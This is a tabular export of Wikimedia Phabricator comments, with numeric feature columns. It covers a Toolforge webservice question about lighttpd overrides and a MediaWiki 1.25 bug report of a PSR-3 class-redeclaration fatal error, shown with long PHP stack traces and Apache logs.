472237,Make sure new webservice tool accepts lighttpd overrides,"https://github.com/wikimedia/operations-software-tools-webservice/blob/master/toollabs/webservice/services/lighttpdwebservice.py#L100 reads it and appends it to itself, no?",,,1433948582,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,27.0,9.0,9.0,9.0,0.0,0.0,27.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.090909090909091,0.9090909090909091,"URL reads it and appends it to itself, no?"
472234,Make sure new webservice tool accepts lighttpd overrides,"No, it doesn't. These are switches based on content .lighttpd.conf, while https://github.com/wikimedia/operations-software-tools-webservice/blob/master/toollabs/webservice/services/lighttpdwebservice.py only switches based on a command-line flag.

I don't think we have to support the flags, but we should detect them and error out with a message to use --type=lighttpd-plain",,,1433948524,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,5.0,0.0,5.0,12.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,7.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,9.0,12.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,3.75,0.8035714285714286,"No, it doesn't. These are switches based on content .lighttpd.conf, while URL only switches based on a command-line flag.

I don't think we have to support the flags, but we should detect them and error out with a message to use --type=lighttpd-plain"
472223,Make sure new webservice tool accepts lighttpd overrides,It already is! And the new webservice tool isn't deployed yet.,,,1433947928,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sp5dimdulsrqhop3bcbr,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9285714285714286,It already is! And the new webservice tool isn't deployed yet.
101814,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,"After update from 1.24 series to 1.25, I started having this error on certain pages. Currently the error shows up when I click Upload at the File Upload page (which is Dosya Yükle in Turkish translation), among others. 

I did follow documentation on the release notes; MediaWiki was first installed from tarball, then I tried the git-compose install/update method. The psr directory exists in $IP/vendor. 

> MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components.MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components. 

I can reproduce the error. Mediawiki error report: 

> ( ! ) Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in 
> /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php on line 412
> Call Stack
> #	Time	Memory	Function	Location
> 1	0.0001	241112	{main}( )	../index.php:0
> 2	2.9770	2424544	MediaWiki->run( )	../index.php:41
> 3	2.9770	2425104	MediaWiki->main( )	../MediaWiki.php:414
> 4	3.0107	3203232	MediaWiki->performRequest( )	../MediaWiki.php:566
> 5	3.0343	3415968	SpecialPageFactory::executePath( )	../MediaWiki.php:267
> 6	3.0433	3966400	SpecialPage->run( )	../SpecialPageFactory.php:582
> 7	3.0434	3966496	SpecialUpload->execute( )	../SpecialPage.php:384
> 8	3.1018	5433712	SpecialUpload->processUpload( )	../SpecialUpload.php:195
> 9	4.3216	7132504	SpecialUpload->showUploadWarning( )	../SpecialUpload.php:458
> 10	4.3406	7381440	SpecialUpload->getDupeWarning( )	../SpecialUpload.php:368
> 11	4.3538	7501392	TraditionalImageGallery->toHTML( )	../SpecialUpload.php:748
> 12	4.3599	7838880	Linker::processResponsiveImages( )	../TraditionalImageGallery.php:136
> 13	4.3625	7842584	File->transform( )	../Linker.php:895
> 14	4.3644	7858520	File->generateAndSaveThumb( )	../File.php:1079
> 15	4.3647	7860640	TransformationalImageHandler->doTransform( )	../File.php:1112
> 16	4.3658	7866960	BitmapHandler->transformImageMagick( )	../TransformationalImageHandler.php:244
> 17	4.3658	7868760	TransformationalImageHandler->getMagickVersion( )	../Bitmap.php:91
> 18	4.3659	7869648	wfDebug( )	../TransformationalImageHandler.php:517
> 19	4.3659	7870024	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1055
> 20	4.3659	7870120	interface_exists ( )	../LoggerFactory.php:97
> 21	4.3659	7870440	Composer\Autoload\ClassLoader->loadClass( )	../LoggerFactory.php:0
> 22	4.3659	7870440	Composer\Autoload\includeFile( )	../ClassLoader.php:301
> MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components.MediaWiki requires the PSR-3 logging library to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see mediawiki.org for help on installing the required components.
> ( ! ) Fatal error: MediaWiki requires the <a href=""https://github.com/php-fig/log"">PSR-3 logging library</a> to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user. Please see <a href=""https://www.mediawiki.org/wiki/Download_from_Git#Fetch_external_libraries"">mediawiki.org</a> for help on installing the required components. in /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php on line 107
> Call Stack
> #	Time	Memory	Function	Location
> 1	0.0001	241112	{main}( )	../index.php:0
> 2	2.9770	2424544	MediaWiki->run( )	../index.php:41
> 3	2.9770	2425104	MediaWiki->main( )	../MediaWiki.php:414
> 4	3.0107	3203232	MediaWiki->performRequest( )	../MediaWiki.php:566
> 5	3.0343	3415968	SpecialPageFactory::executePath( )	../MediaWiki.php:267
> 6	3.0433	3966400	SpecialPage->run( )	../SpecialPageFactory.php:582
> 7	3.0434	3966496	SpecialUpload->execute( )	../SpecialPage.php:384
> 8	3.1018	5433712	SpecialUpload->processUpload( )	../SpecialUpload.php:195
> 9	4.3216	7132504	SpecialUpload->showUploadWarning( )	../SpecialUpload.php:458
> 10	4.3406	7381440	SpecialUpload->getDupeWarning( )	../SpecialUpload.php:368
> 11	4.3538	7501392	TraditionalImageGallery->toHTML( )	../SpecialUpload.php:748
> 12	4.3599	7838880	Linker::processResponsiveImages( )	../TraditionalImageGallery.php:136
> 13	4.3625	7842584	File->transform( )	../Linker.php:895
> 14	4.3644	7858520	File->generateAndSaveThumb( )	../File.php:1079
> 15	4.3647	7860640	TransformationalImageHandler->doTransform( )	../File.php:1112
> 16	4.3658	7866960	BitmapHandler->transformImageMagick( )	../TransformationalImageHandler.php:244
> 17	4.3658	7868760	TransformationalImageHandler->getMagickVersion( )	../Bitmap.php:91
> 18	4.3659	7869648	wfDebug( )	../TransformationalImageHandler.php:517
> 19	4.3659	7870024	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1055
> 20	4.3659	7870120	interface_exists ( )	../LoggerFactory.php:97
> 21	4.3659	7870440	Composer\Autoload\ClassLoader->loadClass( )	../LoggerFactory.php:0
> 22	4.3659	7870440	Composer\Autoload\includeFile( )	../ClassLoader.php:301
> 23	4.3676	7880328	MWExceptionHandler::handleFatalError( )	../MWExceptionHandler.php:0
> 24	4.3676	7866992	MWExceptionHandler::logError( )	../MWExceptionHandler.php:265
> 25	4.3678	7869072	wfDebugLog( )	../MWExceptionHandler.php:507
> 26	4.3678	7869608	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1155
> 27	4.3678	7870160	trigger_error ( )	../LoggerFactory.php:107
> 28	4.3678	7871592	MWExceptionHandler::handleError( )	../LoggerFactory.php:107
> 29	4.3679	7883192	MWExceptionHandler::logError( )	../MWExceptionHandler.php:222
> 30	4.3680	7886192	wfDebugLog( )	../MWExceptionHandler.php:507
> 31	4.3680	7887656	MediaWiki\Logger\LoggerFactory::getInstance( )	../GlobalFunctions.php:1155
> 32	4.3680	7888208	trigger_error ( )	../LoggerFactory.php:107
> 


And Apache error when I try/refresh the relevant page(s): 

> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Fatal error:  include(): Cannot redeclare class 
> psr\\log\\loggerinterface in /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php on line 412, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Stack trace:, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   1. {main}() /srv/www/mywiki.mydomain.com/index.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   2. MediaWiki->run() /srv/www/mywiki.mydomain.com/index.php:41, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   3. MediaWiki->main() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:414, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   4. MediaWiki->performRequest() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:566, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   5. SpecialPageFactory::executePath() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:267, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   6. SpecialPage->run() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPageFactory.php:582, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   7. SpecialVersion->execute() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPage.php:384, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   8. SpecialVersion->getExtensionCredits() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:129, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   9. SpecialVersion->getExtensionCategory() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:463, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  10. SpecialVersion->getCreditsForExtension() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:637, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  11. GitInfo->getHeadCommitDate() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:743, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  12. wfShellExec() /srv/www/mywiki.mydomain.com/includes/GitInfo.php:218, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  13. wfDebug() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:2802, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  14. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1055, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  15. interface_exists() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:97, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  16. Composer\\Autoload\\ClassLoader->loadClass() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  17. Composer\\Autoload\\includeFile() /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php:301, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Fatal error:  MediaWiki requires the <a href=""https://github.com/php-fig/log"">PSR-3 logging library</a> to be present. This library is not embedded directly in MediaWiki's git repository and must be installed separately by the end user.\n\nPlease see <a href=""https://www.mediawiki.org/wiki/Download_from_Git#Fetch_external_libraries"">mediawiki.org</a> for help on installing the required components. in /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php on line 107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP Stack trace:, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   1. {main}() /srv/www/mywiki.mydomain.com/index.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   2. MediaWiki->run() /srv/www/mywiki.mydomain.com/index.php:41, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   3. MediaWiki->main() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:414, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   4. MediaWiki->performRequest() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:566, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   5. SpecialPageFactory::executePath() /srv/www/mywiki.mydomain.com/includes/MediaWiki.php:267, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   6. SpecialPage->run() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPageFactory.php:582, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   7. SpecialVersion->execute() /srv/www/mywiki.mydomain.com/includes/specialpage/SpecialPage.php:384, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   8. SpecialVersion->getExtensionCredits() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:129, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP   9. SpecialVersion->getExtensionCategory() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:463, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  10. SpecialVersion->getCreditsForExtension() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:637, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  11. GitInfo->getHeadCommitDate() /srv/www/mywiki.mydomain.com/includes/specials/SpecialVersion.php:743, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  12. wfShellExec() /srv/www/mywiki.mydomain.com/includes/GitInfo.php:218, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  13. wfDebug() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:2802, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  14. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1055, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  15. interface_exists() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:97, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  16. Composer\\Autoload\\ClassLoader->loadClass() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  17. Composer\\Autoload\\includeFile() /srv/www/mywiki.mydomain.com/vendor/composer/ClassLoader.php:301, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  18. MWExceptionHandler::handleFatalError() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:0, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  19. MWExceptionHandler::logError() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:265, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  20. wfDebugLog() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:507, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  21. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1155, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  22. trigger_error() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  23. MWExceptionHandler::handleError() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  24. MWExceptionHandler::logError() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:222, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  25. wfDebugLog() /srv/www/mywiki.mydomain.com/includes/exception/MWExceptionHandler.php:507, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  26. MediaWiki\\Logger\\LoggerFactory::getInstance() /srv/www/mywiki.mydomain.com/includes/GlobalFunctions.php:1155, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> [Thu May 28 06:55:06 2015] [error] [client 192.168.1.1] PHP  27. trigger_error() /srv/www/mywiki.mydomain.com/includes/debug/logger/LoggerFactory.php:107, referer: http://mywiki.mydomain.com/index.php/%C3%96zel:%C3%96zelSayfalar
> 

",Low,25.0,1433839792,1501144730.0,PHID-USER-myidf5vlkwvrgp2iwn76,False,PHID-USER-jnta3z3spxto3vbxdngm,False,PHID-TASK-horp6gl436aa5in2kxna,task_description,invalid,True,c3,1,False,False,False,-4,True,0.0,0.0,0.0,0.25,0.0,0.75,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.25,2.75,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.25,0.0,0.0,1.5,0.5,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.75,0.0,0.25,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,1.75,0.5,35.5,0.5,0.25,2.25,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.5,2.75,31.75,0.0,0.0,0.0,1.5,0.0,0.75,0.0,0.0,0.25,0.0,0.0,0.0,3.354166666666666,0.28571428571428575,"After update from 1.24 series to 1.25, I started having this error on certain pages. Currently the error shows up when I click Upload at the File Upload page (which is Dosya Yükle in Turkish translation), among others. 

I did follow documentation on the release notes; MediaWiki was first installed from tarball, then I tried the git-compose install/update method. The psr directory exists in $IP/vendor. 

QUOTE

I can reproduce the error. Mediawiki error report: 

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


And Apache error when I try/refresh the relevant page(s): 

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

"
901975,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,Declining... Nobody cared to reply and MW1.25 is no longer supported,,,1501144730,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,3,True,,,108,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,4.833333333333333,1.0,Declining... Nobody cared to reply and MW1.25 is no longer supported
699501,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,">>! In T101814#1407843, @Krinkle wrote:
> Perhaps you have an older extension installed that also ships a PSR-3 interface?

@emirhan: Can you answer this? Is this still an issue?",,,1469286388,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,29.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.7647058823529411,"QUOTE
QUOTE
SCREEN_NAME: Can you answer this? Is this still an issue?"
677081,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,">>! In T101814#1407843, @Krinkle wrote:
> Perhaps you have an older extension installed that also ships a PSR-3 interface?

@emirhan: Can you answer this? Is this still an issue?",,,1465493328,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-horp6gl436aa5in2kxna,task_subcomment,,True,c3,3,True,,,49,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,29.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.7647058823529411,"QUOTE
QUOTE
SCREEN_NAME: Can you answer this? Is this still an issue?"
483075,PHP Fatal error: include(): Cannot redeclare class psr\log\loggerinterface in /vendor/composer/ClassLoader.php:412,"The error you reported does not mean PSR-3 is not installed. In fact, it means the opposite. The error shows that the `vendor/` directory exists and contains the PSR-3 class.

However when it loads it, it claims it is a redeclaration. In other words, it has been defined by something else. And then when MediaWiki tries to load its own, it ends up loading a second time. Loading the same class twice is not possible and as such the engine aborts with a fatal error.

